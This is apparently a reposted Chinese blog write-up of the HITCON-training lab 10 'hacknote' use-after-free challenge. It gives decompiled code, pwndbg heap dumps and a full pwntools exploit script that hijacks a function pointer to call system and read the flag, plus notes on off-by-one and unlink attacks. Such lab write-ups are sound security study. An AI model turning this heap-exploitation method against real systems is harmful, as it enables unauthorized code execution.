use after free HITCON-training (lab 10 hacknote)

liu@liu-F117-F:~/1t/u18/文档/堆溢出学习/use after free$ checksec hacknote
[*] '/home/liu/1t/u18/\xe6\x96\x87\xe6\xa1\xa3/\xe5\xa0\x86\xe6\xba\xa2\xe5\x87\xba\xe5\xad\xa6\xe4\xb9\xa0/use after free/hacknote'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

32位程序,开启了NX和Stack保护。
0x01程序流程

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // [esp-10h] [ebp-10h]
  unsigned int v5; // [esp-Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, &v4, 4u);
      v3 = atoi((const char *)&v4);
      if ( v3 != 2 )
        break;
      del_note();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        print_note();
      }
      else
      {
        if ( v3 == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      add_note();
    }
  }
}

提供了添加,删除,输出操作。

.text:08048986 ; Attributes: bp-based frame
.text:08048986
.text:08048986                 public magic
.text:08048986 magic           proc near
.text:08048986 ; __unwind {
.text:08048986                 push    ebp
.text:08048987                 mov     ebp, esp
.text:08048989                 sub     esp, 8
.text:0804898C                 sub     esp, 0Ch
.text:0804898F                 push    offset aCatHomeHacknot ; "cat /home/hacknote/flag"
.text:08048994                 call    _system
.text:08048999                 add     esp, 10h
.text:0804899C                 nop
.text:0804899D                 leave
.text:0804899E                 retn
.text:0804899E ; } // starts at 8048986
.text:0804899E magic           endp

提供了system函数。
0x02node结构
查看add函数

unsigned int add_note()
{
  _DWORD *v0; // ebx
  signed int i; // [esp-1Ch] [ebp-1Ch]
  int v3; // [esp-18h] [ebp-18h]
  int v4; // [esp-14h] [ebp-14h]
  unsigned int v5; // [esp-Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( count <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !notelist[i] )
      {
        notelist[i] = malloc(8u);
        if ( !notelist[i] )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *(_DWORD *)notelist[i] = print_note_content;
        printf("Note size :");
        read(0, &v4, 8u);
        v3 = atoi((const char *)&v4);
        v0 = notelist[i];
        v0[1] = malloc(v3);
        if ( !*((_DWORD *)notelist[i] + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *((void **)notelist[i] + 1), v3);
        puts("Success !");
        ++count;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}
nodelist :   node[0]  node[1]  node[2]
               |````````````````````|       
        node[0][0]=puts_addr node[0][1]=content_addr

0x03漏洞
user after free 是指针释放后没有设置为NULL继续使用
参见https://ctf-wiki.github.io/ctf-wiki/pwn/heap/use_after_free/

unsigned int del_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( notelist[v1] )
  {
    free(*((void **)notelist[v1] + 1));
    free(notelist[v1]);
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

题目中delete的时候只是free,并没有把指针设置为NULL。
0x04内存分析
测试,生成2个节点。

Addbote(32,"a"*4)
Addbote(32,"b"*10)
pwndbg> x /10xw 0x804A070
0x804a070 <notelist>:   0x09726160  0x097261a0  0x00000000  0x00000000
0x804a080 <notelist+16>:    0x00000000  0x00000000  0x00000000  0x00000000
0x804a090:  0x00000000  0x00000000
pwndbg> x /50xw 0x09726150
0x9726150:  0x00000000  0x00000000  0x00000000  0x00000011
0x9726160:  0x0804865b  0x09726170  0x00000000  0x00000031
0x9726170:  0x61616161  0x0000000a  0x00000000  0x00000000
0x9726180:  0x00000000  0x00000000  0x00000000  0x00000000
0x9726190:  0x00000000  0x00000000  0x00000000  0x00000011
0x97261a0:  0x0804865b  0x097261b0  0x00000000  0x00000031
0x97261b0:  0x62626262  0x62626262  0x000a6262  0x00000000
0x97261c0:  0x00000000  0x00000000  0x00000000  0x00000000
0x97261d0:  0x00000000  0x00000000  0x00000000  0x00021e29

删除节点

Addbote(32,"a"*4)
Addbote(32,"b"*10)
Deletenote(0)
Deletenote(1)
gdb .attach(p)
pwndbg> x /10xw 0x804A070
0x804a070 <notelist>:   0x09afd160  0x09afd1a0  0x00000000  0x00000000
0x804a080 <notelist+16>:    0x00000000  0x00000000  0x00000000  0x00000000
0x804a090:  0x00000000  0x00000000
pwndbg> x /50xw 0x09afd150
0x9afd150:  0x00000000  0x00000000  0x00000000  0x00000011
0x9afd160:  0x00000000  0x09afd170  0x00000000  0x00000031
0x9afd170:  0x00000000  0x0000000a  0x00000000  0x00000000
0x9afd180:  0x00000000  0x00000000  0x00000000  0x00000000
0x9afd190:  0x00000000  0x00000000  0x00000000  0x00000011
0x9afd1a0:  0x09afd160  0x09afd1b0  0x00000000  0x00000031
0x9afd1b0:  0x09afd170  0x62626262  0x000a6262  0x00000000
0x9afd1c0:  0x00000000  0x00000000  0x00000000  0x00000000
0x9afd1d0:  0x00000000  0x00000000  0x00000000  0x00021e29
0x9afd1e0:  0x00000000  0x00000000  0x00000000  0x00000000
0x9afd1f0:  0x00000000  0x00000000  0x00000000  0x00000000
0x9afd200:  0x00000000  0x00000000  0x00000000  0x00000000
0x9afd210:  0x00000000  0x00000000

nodelist数组没有清零,4个chunk也没有清零。
载添加一个note

Addbote(32,"a"*4)
Addbote(32,"b"*10)
Deletenote(0)
Deletenote(1)
Addbote(20,"c"*10)
gdb .attach(p)
pwndbg> x /50xw 0x0953f150
0x953f150:  0x00000000  0x00000000  0x00000000  0x00000011
0x953f160:  0x00000000  0x0953f170  0x00000000  0x00000031
0x953f170:  0x00000000  0x0000000a  0x00000000  0x00000000
0x953f180:  0x00000000  0x00000000  0x00000000  0x00000000
0x953f190:  0x00000000  0x00000000  0x00000000  0x00000011
0x953f1a0:  0x0804865b  0x0953f1e0  0x00000000  0x00000031
0x953f1b0:  0x0953f170  0x62626262  0x000a6262  0x00000000
0x953f1c0:  0x00000000  0x00000000  0x00000000  0x00000000
0x953f1d0:  0x00000000  0x00000000  0x00000000  0x00000021
0x953f1e0:  0x63636363  0x63636363  0x000a6363  0x00000000
0x953f1f0:  0x00000000  0x00000000  0x00000000  0x00021e09
0x953f200:  0x00000000  0x00000000  0x00000000  0x00000000
0x953f210:  0x00000000  0x00000000

我这里是ubuntu18会从下面继续申请空间
如果是下一个node大小也是32

Addbote(32,"a"*4)
Addbote(32,"b"*10)
Deletenote(0)
Deletenote(1)
Addbote(32,"c"*10)
gdb .attach(p)
pwndbg> x /50xw 0x08a6d150
0x8a6d150:  0x00000000  0x00000000  0x00000000  0x00000011
0x8a6d160:  0x00000000  0x08a6d170  0x00000000  0x00000031
0x8a6d170:  0x00000000  0x0000000a  0x00000000  0x00000000
0x8a6d180:  0x00000000  0x00000000  0x00000000  0x00000000
0x8a6d190:  0x00000000  0x00000000  0x00000000  0x00000011
0x8a6d1a0:  0x0804865b  0x08a6d1b0  0x00000000  0x00000031
0x8a6d1b0:  0x63636363  0x63636363  0x000a6363  0x00000000
0x8a6d1c0:  0x00000000  0x00000000  0x00000000  0x00000000
0x8a6d1d0:  0x00000000  0x00000000  0x00000000  0x00021e29
0x8a6d1e0:  0x00000000  0x00000000  0x00000000  0x00000000
0x8a6d1f0:  0x00000000  0x00000000  0x00000000  0x00000000
0x8a6d200:  0x00000000  0x00000000  0x00000000  0x00000000
0x8a6d210:  0x00000000  0x00000000

可以看出来c占据了刚才b的位置。是占据的最后一个跟和申请大小相同的chunk,如果没有就会重新申请空间。(这里是ubuntu18的策略)

ubuntu16会优先使用最后一个跟申请大小相同的chunk如果没有就会重新在原来的chunk中操作。

0x05漏洞利用
申请2个node并删除之后会有2个回收的0x10字节大小的chunk只要设置第三个note的content为8就能把第一个chunk的内容设置为content。就可以覆盖掉put函数的地址,劫持程序执行流。

from pwn import *
context.log_level='debug'
p=process("hacknote")

def Addbote(size,content):
    p.recvuntil("Your choice :")
    p.sendline('1')
    p.recvuntil("Note size :")
    p.sendline(str(size))
    p.recvuntil("Content :")
    p.sendline(content)


def Deletenote(index):
    p.recvuntil("Your choice :")
    p.sendline("2")
    p.recvuntil("Index :")
    p.sendline(str(index))


def Print(index):
    p.recvuntil("Your choice :")
    p.sendline("3")
    p.recvuntil("Index :")
    p.sendline(str(index))


magic=0x08048986

Addbote(32,"a"*4)
Addbote(32,"b"*10)
Deletenote(0)
Deletenote(1)
Addbote(32,"c"*10)
gdb .attach(p)

Addbote(8,p32(magic))
gdb .attach(p)
# x /10xw 0x804A070
Print(0)
Addbote(20,'c'*10)
p.recvall()

当然ubuntu16和18在这里都能利用。

总结
off-by-one:输入或者赋值是否考虑临界情况。
利用:设置chunk大小使最后一个字节覆盖后指向的内容从不可操作到一个有意义可以操作的地址处。

Unlink:输入或者赋值的长度能够比真正的chunk更大。
利用:构造伪chunk设置后一个chunk的prev_size和flag标志,使系统执行unlink操作。执行unlink操作实现复写got表。
特点:因为验证保护,需要一个跳板才能实现任意写,这个跳板一般是bss段的数据。也就是说需要bss段本身在程序中是存有有用数据的。

use after free:free之后没有设置为NULL
利用:创建,创建,删除,创建。构造伪chunk。
特点:free之后可以继续输出。

猜你喜欢

转载自blog.csdn.net/qq_38204481/article/details/81458664